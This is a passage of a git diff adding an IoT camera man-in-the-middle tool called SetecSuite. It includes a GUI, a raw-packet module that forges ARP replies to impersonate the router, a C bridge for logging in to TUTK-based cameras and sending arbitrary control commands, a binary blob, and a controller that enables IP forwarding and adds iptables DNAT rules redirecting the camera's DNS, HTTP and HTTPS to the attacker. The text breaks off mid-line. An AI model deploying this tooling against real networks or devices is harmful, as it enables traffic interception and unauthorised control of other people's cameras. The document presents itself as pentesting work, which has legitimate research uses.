f"Intruders: {len(intruder_watch.get_intruders())}" + ) + + def _refresh_intruders(self): + items = intruder_watch.get_intruders() + self.intruder_count.setText(f"{len(items)} events") + if self.intruder_table.rowCount() != len(items): + self.intruder_table.setRowCount(len(items)) + for i, e in enumerate(items): + self.intruder_table.setItem(i, 0, QTableWidgetItem(e["ts"])) + kind_item = QTableWidgetItem(e["kind"]) + kind_item.setForeground(QColor("#ff79c6")) + self.intruder_table.setItem(i, 1, kind_item) + self.intruder_table.setItem(i, 2, QTableWidgetItem(e["src"])) + self.intruder_table.setItem(i, 3, QTableWidgetItem(e["dst"])) + self.intruder_table.setItem(i, 4, QTableWidgetItem(e["detail"])) + + # ── Log append ─────────────────────────────────────────────── + def _append_log(self, lines): + flt = self.log_filter.text().lower() + autoscroll = self.autoscroll_cb.isChecked() + + # Preserve current scroll position when autoscroll off + sb = self.log_view.verticalScrollBar() + old_pos = sb.value() + old_user_cursor = self.log_view.textCursor() + + write_cursor = QTextCursor(self.log_view.document()) + write_cursor.movePosition(QTextCursor.MoveOperation.End) + for line, color in lines: + if flt and flt not in line.lower(): + continue + fmt = write_cursor.charFormat() + fmt.setForeground(QT_COLORS.get(color, QT_COLORS[C_NONE])) + write_cursor.setCharFormat(fmt) + write_cursor.insertText(line + "\n") + + if autoscroll: + self.log_view.moveCursor(QTextCursor.MoveOperation.End) + self.log_view.ensureCursorVisible() + else: + self.log_view.setTextCursor(old_user_cursor) + sb.setValue(old_pos) + + def _clear_log(self): + self.log_view.clear() + with lock: + log_lines.clear() + self._last_log_idx = 0 + + def closeEvent(self, ev): + if self.ctrl.services_running: + self.ctrl.stop_services() + self.ctrl.running = False + close_logfile() + ev.accept() + + +def main(): + if os.geteuid() != 0: + print("Run with: sudo /usr/bin/python3 gui.py") + sys.exit(1) + + ctrl = Controller() + os.makedirs(ctrl.cfg["log_dir"], exist_ok=True) + init_logfile(f"{ctrl.cfg['log_dir']}/mitm.log") + + signal.signal(signal.SIGINT, signal.SIG_DFL) + + app = QApplication(sys.argv) + win = MainWindow(ctrl) + win.show() + rc = app.exec() + if ctrl.services_running: + ctrl.stop_services() + close_logfile() + sys.exit(rc) + + +if __name__ == "__main__": + main() diff --git a/inject/__init__.py b/inject/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/inject/packet.py b/inject/packet.py new file mode 100644 index 0000000..eddc9a4 --- /dev/null +++ b/inject/packet.py @@ -0,0 +1,178 @@ +"""Packet injection — craft and send raw packets to the camera or network""" + +import socket +import struct +import os +from utils.log import log, C_SUCCESS, C_ERROR, C_INFO, C_IMPORTANT + + +def _checksum(data): + """Calculate IP/TCP/UDP checksum""" + if len(data) % 2: + data += b"\x00" + s = sum(struct.unpack("!%dH" % (len(data) // 2), data)) + s = (s >> 16) + (s & 0xFFFF) + s += s >> 16 + return ~s & 0xFFFF + + +def build_ethernet(src_mac, dst_mac, ethertype=0x0800): + src = bytes.fromhex(src_mac.replace(":", "")) + dst = bytes.fromhex(dst_mac.replace(":", "")) + return dst + src + struct.pack("!H", ethertype) + + +def build_ip(src_ip, dst_ip, proto, payload_len): + ver_ihl = 0x45 + tos = 0 + total_len = 20 + payload_len + ident = os.getpid() & 0xFFFF + flags_frag = 0x4000 # Don't Fragment + ttl = 64 + header = struct.pack("!BBHHHBBH4s4s", + ver_ihl, tos, total_len, ident, flags_frag, + ttl, proto, 0, + socket.inet_aton(src_ip), socket.inet_aton(dst_ip)) + chk = _checksum(header) + return header[:10] + struct.pack("!H", chk) + header[12:] + + +def build_udp(src_port, dst_port, payload): + length = 8 + len(payload) + header = struct.pack("!HHH", src_port, dst_port, length) + b"\x00\x00" + return header + payload + + +def build_tcp_syn(src_port, dst_port, seq=1000): + data_offset = 5 << 4 + flags = 0x02 # SYN + window = 65535 + header = struct.pack("!HHIIBBHHH", + src_port, dst_port, seq, 0, + data_offset, flags, window, 0, 0) + return header + + +def build_arp_request(src_mac, src_ip, target_ip): + src_m = bytes.fromhex(src_mac.replace(":", "")) + dst_m = b"\xff\xff\xff\xff\xff\xff" + eth = dst_m + src_m + b"\x08\x06" + arp = struct.pack("!HHBBH", 1, 0x0800, 6, 4, 1) # request + arp += src_m + socket.inet_aton(src_ip) + arp += b"\x00" * 6 + socket.inet_aton(target_ip) + return eth + arp + + +def build_arp_reply(src_mac, dst_mac, src_ip, dst_ip): + src_m = bytes.fromhex(src_mac.replace(":", "")) + dst_m = bytes.fromhex(dst_mac.replace(":", "")) + eth = dst_m + src_m + b"\x08\x06" + arp = struct.pack("!HHBBH", 1, 0x0800, 6, 4, 2) # reply + arp += src_m + socket.inet_aton(src_ip) + arp += dst_m + socket.inet_aton(dst_ip) + return eth + arp + + +def build_dns_query(domain, src_port=12345): + """Build a DNS query packet payload""" + txid = struct.pack("!H", os.getpid() & 0xFFFF) + flags = b"\x01\x00" # standard query + counts = struct.pack("!HHHH", 1, 0, 0, 0) + qname = b"" + for label in domain.encode().split(b"."): + qname += bytes([len(label)]) + label + qname += b"\x00" + qtype = struct.pack("!HH", 1, 1) # A record, IN class + return txid + flags + counts + qname + qtype + + +def send_raw(iface, packet): + """Send a raw Ethernet frame""" + try: + sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003)) + sock.bind((iface, 0)) + sock.send(packet) + sock.close() + return True + except Exception as e: + log(f"INJECT: send failed: {e}", C_ERROR) + return False + + +def send_udp(dst_ip, dst_port, payload, src_port=0): + """Send UDP datagram using normal socket""" + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + if src_port: + sock.bind(("", src_port)) + sock.sendto(payload, (dst_ip, dst_port)) + sock.close() + log(f"INJECT: UDP sent to {dst_ip}:{dst_port} ({len(payload)}B)", C_SUCCESS) + return True + except Exception as e: + log(f"INJECT: UDP failed: {e}", C_ERROR) + return False + + +def inject(cfg, params): + """ + Inject a packet based on params dict. + params: { + "type": "udp"|"arp_request"|"arp_reply"|"dns_query"|"raw", + "dst_ip": "...", + "dst_port": 1234, + "src_port": 5678, + "payload": "hex string or ascii", + "payload_hex": true/false, + "domain": "for dns_query", + "src_mac": "...", "dst_mac": "...", + "src_ip": "...", + } + """ + ptype = params.get("type", "udp") + iface = cfg["iface"] + + if ptype == "udp": + dst_ip = params.get("dst_ip", cfg["camera_ip"]) + dst_port = int(params.get("dst_port", 10240)) + src_port = int(params.get("src_port", 0)) + payload = params.get("payload", "") + if params.get("payload_hex"): + payload = bytes.fromhex(payload) + else: + payload = payload.encode() + return {"ok": send_udp(dst_ip, dst_port, payload, src_port)} + + elif ptype == "arp_request": + our_mac = open(f"/sys/class/net/{iface}/address").read().strip() + target_ip = params.get("dst_ip", cfg["camera_ip"]) + pkt = build_arp_request(our_mac, cfg["our_ip"], target_ip) + return {"ok": send_raw(iface, pkt)} + + elif ptype == "arp_reply": + src_mac = params.get("src_mac", open(f"/sys/class/net/{iface}/address").read().strip()) + dst_mac = params.get("dst_mac", cfg["camera_mac"]) + src_ip = params.get("src_ip", cfg["router_ip"]) + dst_ip = params.get("dst_ip", cfg["camera_ip"]) + pkt = build_arp_reply(src_mac, dst_mac, src_ip, dst_ip) + log(f"INJECT: ARP reply {src_ip} is-at {src_mac} -> {dst_ip}", C_IMPORTANT) + return {"ok": send_raw(iface, pkt)} + + elif ptype == "dns_query": + domain = params.get("domain", "portal.ubianet.com") + payload = build_dns_query(domain) + dst_ip = params.get("dst_ip", cfg["router_ip"]) + return {"ok": send_udp(dst_ip, 53, payload)} + + elif ptype == "raw": + payload = params.get("payload", "") + if params.get("payload_hex"): + payload = bytes.fromhex(payload) + else: + payload = payload.encode() + # Need full ethernet frame for raw + return {"ok": send_raw(iface, payload)} + + else: + log(f"INJECT: unknown type '{ptype}'", C_ERROR) + return {"ok": False, "error": f"unknown type: {ptype}"} diff --git a/iotc/build_bridge.sh b/iotc/build_bridge.sh new file mode 100755 index 0000000..9bd0c32 --- /dev/null +++ b/iotc/build_bridge.sh @@ -0,0 +1,19 @@ +#!/bin/bash +# Build the IOTC bridge program for ARM32 (runs under qemu-arm-static) +cd "$(dirname "$0")/.." + +SODIR="$(pwd)/lib" + +echo "Compiling IOTC bridge (dynamic, hard-float)..." +arm-linux-gnueabihf-gcc -o iotc/iotc_bridge iotc/iotc_bridge.c -L"$SODIR" -lIOTCAPIs_ALL -lpthread -Wl,-rpath,"$SODIR" + +if [ $? -eq 0 ]; then + echo "Success: $(file iotc/iotc_bridge)" + echo "" + echo "Test with:" + echo " qemu-arm-static -L /usr/arm-linux-gnueabi iotc/iotc_bridge" + echo " Then type: init" +else + echo "Build failed" + exit 1 +fi diff --git a/iotc/iotc_bridge b/iotc/iotc_bridge new file mode 100755 index 0000000000000000000000000000000000000000..9805ccee84a9a94b2827f84815a8dfdf1c6fd544 GIT binary patch literal 13732 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 literal 0 HcmV?d00001 diff --git a/iotc/iotc_bridge.c b/iotc/iotc_bridge.c new file mode 100644 index 0000000..c44509a --- /dev/null +++ b/iotc/iotc_bridge.c @@ -0,0 +1,269 @@ +/* + * IOTC Bridge — ARM32 process that loads the TUTK library and + * communicates with the Python TUI over stdin/stdout JSON. + * + * Compile: arm-linux-gnueabi-gcc -o iotc_bridge iotc_bridge.c -L../lib -lIOTCAPIs_ALL -lpthread -ldl + * Run: qemu-arm-static -L /usr/arm-linux-gnueabi ./iotc_bridge + */ + +#include +#include +#include +#include +#include + +/* IOTC API declarations (from IOTCAPIs.h) */ +extern int IOTC_Initialize2(int udp_port); +extern int IOTC_DeInitialize(void); +extern int IOTC_Get_SessionID(void); +extern int IOTC_Connect_ByUID_Parallel(const char *UID, int SID); +extern int IOTC_Session_Close(int SID); +extern int IOTC_Session_Check(int SID, void *info); +extern int IOTC_Lan_Search2(void *result, int max, int timeout_ms); + +/* AV API declarations (from AVAPIs.h) */ +extern int avInitialize(int max_channels); +extern int avDeInitialize(void); +extern int avClientStart(int SID, const char *user, const char *pass, + int timeout, unsigned int *srvtype, int channel); +extern void avClientStop(int avIndex); +extern int avSendIOCtrl(int avIndex, int type, const char *data, int len); +extern int avRecvIOCtrl(int avIndex, int *type, char *data, int len, int timeout_ms); + +/* Simple JSON output helpers */ +static void json_ok(const char *key, int value) { + printf("{\"ok\":true,\"%s\":%d}\n", key, value); + fflush(stdout); +} + +static void json_ok_str(const char *key, const char *value) { + printf("{\"ok\":true,\"%s\":\"%s\"}\n", key, value); + fflush(stdout); +} + +static void json_err(const char *msg) { + printf("{\"ok\":false,\"error\":\"%s\"}\n", msg); + fflush(stdout); +} + +static void json_data(const char *cmd, const unsigned char *data, int len) { + printf("{\"ok\":true,\"cmd\":\"%s\",\"len\":%d,\"hex\":\"", cmd, len); + for (int i = 0; i < len && i < 4096; i++) + printf("%02x", data[i]); + printf("\"}\n"); + fflush(stdout); +} + +/* State */ +static int g_sid = -1; +static int g_av_index = -1; +static int g_initialized = 0; + +static int do_init(void) { + if (g_initialized) { + json_err("already initialized"); + return -1; + } + int ret = IOTC_Initialize2(0); + if (ret < 0) { + char buf[64]; + snprintf(buf, sizeof(buf), "IOTC_Initialize2 failed: %d", ret); + json_err(buf); + return ret; + } + ret = avInitialize(16); + if (ret < 0) { + char buf[64]; + snprintf(buf, sizeof(buf), "avInitialize failed: %d", ret); + json_err(buf); + return ret; + } + g_initialized = 1; + json_ok("init", 0); + return 0; +} + +static int do_connect(const char *uid) { + if (!g_initialized) { + json_err("not initialized"); + return -1; + } + int sid = IOTC_Get_SessionID(); + if (sid < 0) { + char buf[64]; + snprintf(buf, sizeof(buf), "IOTC_Get_SessionID failed: %d", sid); + json_err(buf); + return sid; + } + g_sid = IOTC_Connect_ByUID_Parallel(uid, sid); + if (g_sid < 0) { + char buf[64]; + snprintf(buf, sizeof(buf), "connect failed: %d", g_sid); + json_err(buf); + return g_sid; + } + json_ok("sid", g_sid); + return g_sid; +} + +static int do_login(const char *user, const char *pass) { + if (g_sid < 0) { + json_err("not connected"); + return -1; + } + unsigned int srvtype = 0; + g_av_index = avClientStart(g_sid, user, pass, 20, &srvtype, 0); + if (g_av_index < 0) { + char buf[64]; + snprintf(buf, sizeof(buf), "avClientStart failed: %d", g_av_index); + json_err(buf); + return g_av_index; + } + json_ok("av_index", g_av_index); + return g_av_index; +} + +static int do_ioctrl(int cmd_type, const char *hex_data) { + if (g_av_index < 0) { + json_err("not logged in"); + return -1; + } + + /* Parse hex data */ + int hex_len = strlen(hex_data); + int data_len = hex_len / 2; + unsigned char *data = calloc(1, data_len + 1); + for (int i = 0; i < data_len; i++) { + unsigned int byte; + sscanf(hex_data + i * 2, "%2x", &byte); + data[i] = (unsigned char)byte; + } + + int ret = avSendIOCtrl(g_av_index, cmd_type, (const char *)data, data_len); + free(data); + + if (ret < 0) { + char buf[64]; + snprintf(buf, sizeof(buf), "avSendIOCtrl failed: %d", ret); + json_err(buf); + return ret; + } + + /* Try to receive response */ + unsigned char resp[8192]; + int resp_type = 0; + int resp_len = avRecvIOCtrl(g_av_index, &resp_type, (char *)resp, sizeof(resp), 5000); + if (resp_len > 0) { + json_data("ioctrl_resp", resp, resp_len); + } else { + json_ok("sent", cmd_type); + } + return 0; +} + +static int do_lan_search(void) { + if (!g_initialized) { + json_err("not initialized"); + return -1; + } + /* Search result struct: 84 bytes per entry (UID[20] + IP[16] + ...)] */ + unsigned char results[84 * 16]; + memset(results, 0, sizeof(results)); + int count = IOTC_Lan_Search2(results, 16, 3000); + if (count < 0) { + char buf[64]; + snprintf(buf, sizeof(buf), "lan_search failed: %d", count); + json_err(buf); + return count; + } + printf("{\"ok\":true,\"count\":%d,\"devices\":[", count); + for (int i = 0; i < count; i++) { + unsigned char *entry = results + (i * 84); + char uid[21] = {0}; + memcpy(uid, entry, 20); + if (i > 0) printf(","); + printf("\"%s\"", uid); + } + printf("]}\n"); + fflush(stdout); + return count; +} + +static void do_disconnect(void) { + if (g_av_index >= 0) { + avClientStop(g_av_index); + g_av_index = -1; + } + if (g_sid >= 0) { + IOTC_Session_Close(g_sid); + g_sid = -1; + } + json_ok("disconnected", 1); +} + +static void do_deinit(void) { + do_disconnect(); + if (g_initialized) { + avDeInitialize(); + IOTC_DeInitialize(); + g_initialized = 0; + } + json_ok("deinit", 1); +} + +int main(int argc, char *argv[]) { + char line[8192]; + + fprintf(stderr, "IOTC Bridge started. Send JSON commands on stdin.\n"); + + while (fgets(line, sizeof(line), stdin)) { + /* Strip newline */ + line[strcspn(line, "\r\n")] = 0; + if (strlen(line) == 0) continue; + + /* Very simple command parsing: cmd arg1 arg2 ... */ + char cmd[64] = {0}; + char arg1[256] = {0}; + char arg2[256] = {0}; + char arg3[8192] = {0}; + sscanf(line, "%63s %255s %255s %8191s", cmd, arg1, arg2, arg3); + + if (strcmp(cmd, "init") == 0) { + do_init(); + } else if (strcmp(cmd, "connect") == 0) { + if (strlen(arg1) == 0) { + json_err("usage: connect "); + } else { + do_connect(arg1); + } + } else if (strcmp(cmd, "login") == 0) { + if (strlen(arg1) == 0 || strlen(arg2) == 0) { + json_err("usage: login "); + } else { + do_login(arg1, arg2); + } + } else if (strcmp(cmd, "ioctrl") == 0) { + if (strlen(arg1) == 0) { + json_err("usage: ioctrl [hex_data]"); + } else { + int cmd_id = atoi(arg1); + do_ioctrl(cmd_id, strlen(arg2) > 0 ? arg2 : ""); + } + } else if (strcmp(cmd, "search") == 0) { + do_lan_search(); + } else if (strcmp(cmd, "disconnect") == 0) { + do_disconnect(); + } else if (strcmp(cmd, "quit") == 0 || strcmp(cmd, "exit") == 0) { + do_deinit(); + break; + } else if (strcmp(cmd, "help") == 0) { + printf("{\"commands\":[\"init\",\"connect \",\"login \",\"ioctrl [hex]\",\"search\",\"disconnect\",\"quit\"]}\n"); + fflush(stdout); + } else { + json_err("unknown command"); + } + } + + do_deinit(); + return 0; +} diff --git a/mitm.py b/mitm.py new file mode 100644 index 0000000..6c11ecc --- /dev/null +++ b/mitm.py @@ -0,0 +1,531 @@ +#!/usr/bin/env python3 +""" +SetecSuite — Camera MITM Tool +All-in-one IoT camera pentesting framework with TUI. + +Usage: sudo python3 mitm.py +""" + +import curses +import os +import sys +import json +import signal +import threading +import time +from collections import deque + +# Add project root to path +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) + +from config import Config +from utils.log import log, log_lines, init_logfile, close_logfile, lock +from utils.log import C_NONE, C_ERROR, C_SUCCESS, C_INFO, C_TRAFFIC, C_IMPORTANT +from services import arp_spoof, dns_spoof, http_server, udp_listener, sniffer, intruder_watch +from api import ubox_client, server as rest_server, fuzzer +from inject import packet + + +SERVICE_DEFS = [ + # (name, flag_key, runner_factory) + ("arp", "arp", lambda cfg, flags, ck: arp_spoof.run(cfg, flags, ck)), + ("dns", "dns", lambda cfg, flags, ck: dns_spoof.run(cfg, flags, ck)), + ("http", "http", lambda cfg, flags, ck: http_server.run_http(cfg, flags, ck)), + ("https", "https", lambda cfg, flags, ck: http_server.run_https(cfg, flags, ck)), + ("udp10240", "udp10240", lambda cfg, flags, ck: udp_listener.run(10240, cfg, flags, ck)), + ("udp20001", "udp20001", lambda cfg, flags, ck: udp_listener.run(20001, cfg, flags, ck)), + ("sniffer", "sniffer", lambda cfg, flags, ck: sniffer.run(cfg, flags, ck)), + ("intruder", "intruder", lambda cfg, flags, ck: intruder_watch.run(cfg, flags, ck)), +] + +SERVICE_NAMES = [s[0] for s in SERVICE_DEFS] +SERVICE_BY_NAME = {s[0]: s for s in SERVICE_DEFS} + + +class Controller: + def __init__(self): + self.cfg = Config() + self.flags = {} + self.running = True + self.services_running = False + self.fuzzer = None + self._devices = [] + # per-service running state for individual on/off + self._svc_running = {n: False for n in SERVICE_NAMES} + self._iptables_up = False + + def get_devices(self): + return self._devices + + # ─── Service Control ────────────────────────────────── + def _ensure_iptables(self): + if not self._iptables_up: + os.system("pkill -f arpspoof 2>/dev/null") + os.makedirs(self.cfg["log_dir"], exist_ok=True) + self._setup_iptables() + self._iptables_up = True + + def start_service(self, name): + if name not in SERVICE_BY_NAME: + log(f"unknown service: {name}", C_ERROR) + return + if self._svc_running.get(name): + log(f"{name} already running", C_ERROR) + return + self._ensure_iptables() + # Free ports if needed + if name == "http": + os.system("fuser -k 80/tcp 2>/dev/null") + elif name == "https": + os.system("fuser -k 443/tcp 2>/dev/null") + elif name == "dns": + os.system("fuser -k 53/udp 2>/dev/null") + elif name == "udp10240": + os.system("fuser -k 10240/udp 2>/dev/null") + elif name == "udp20001": + os.system("fuser -k 20001/udp 2>/dev/null") + time.sleep(0.2) + + self._svc_running[name] = True + check = lambda n=name: self.running and self._svc_running.get(n, False) + runner = SERVICE_BY_NAME[name][2] + threading.Thread( + target=lambda: runner(self.cfg, self.flags, check), + daemon=True, + name=f"svc-{name}", + ).start() + self.services_running = any(self._svc_running.values()) + log(f"started: {name}", C_SUCCESS) + + def stop_service(self, name): + if name not in SERVICE_BY_NAME: + log(f"unknown service: {name}", C_ERROR) + return + if not self._svc_running.get(name): + log(f"{name} not running", C_ERROR) + return + self._svc_running[name] = False + log(f"stopping: {name}…", C_INFO) + # Force-close listening sockets so accept() unblocks + if name == "http": + os.system("fuser -k 80/tcp 2>/dev/null") + elif name == "https": + os.system("fuser -k 443/tcp 2>/dev/null") + elif name == "dns": + os.system("fuser -k 53/udp 2>/dev/null") + elif name == "udp10240": + os.system("fuser -k 10240/udp 2>/dev/null") + elif name == "udp20001": + os.system("fuser -k 20001/udp 2>/dev/null") + time.sleep(0.5) + self.flags[name] = False + self.services_running = any(self._svc_running.values()) + + def toggle_service(self, name): + if self._svc_running.get(name): + self.stop_service(name) + else: + self.start_service(name) + + def start_services(self): + if self.services_running: + log("Services already running", C_ERROR) + return + self._ensure_iptables() + for name in SERVICE_NAMES: + self.start_service(name) + time.sleep(0.3) + log("All MITM services started", C_SUCCESS) + + def stop_services(self): + if not self.services_running: + log("Services not running", C_ERROR) + return + log("Stopping all services...", C_INFO) + for name in SERVICE_NAMES: + if self._svc_running.get(name): + self.stop_service(name) + time.sleep(1) + self._cleanup_iptables() + self._iptables_up = False + self.flags.clear() + self.services_running = False + log("Services stopped", C_INFO) + + def _setup_iptables(self): + cam = self.cfg["camera_ip"] + us = self.cfg["our_ip"] + for cmd in [ + "sysctl -w net.ipv4.ip_forward=1", + "iptables -A OUTPUT -p icmp --icmp-type redirect -j DROP", + f"iptables -t nat -A PREROUTING -s {cam} -p udp --dport 53 -j DNAT --to-destination {us}:53", + f"iptables -t nat -A PREROUTING -s {cam} -p tcp --dport 80 -j DNAT --to-destination {us}:80", + f"iptables -t nat -A PREROUTING -s {cam} -p tcp --dport 443 -j DNAT --to-destination {us}:443", + ]: + os.system(cmd + " >/dev/null 2>&1") + log("iptables rules applied", C_INFO) + + def _cleanup_iptables(self): + cam = self.cfg["camera_ip"] + us = self.cfg["our_ip"] + for cmd in [ + "iptables -D OUTPUT -p icmp 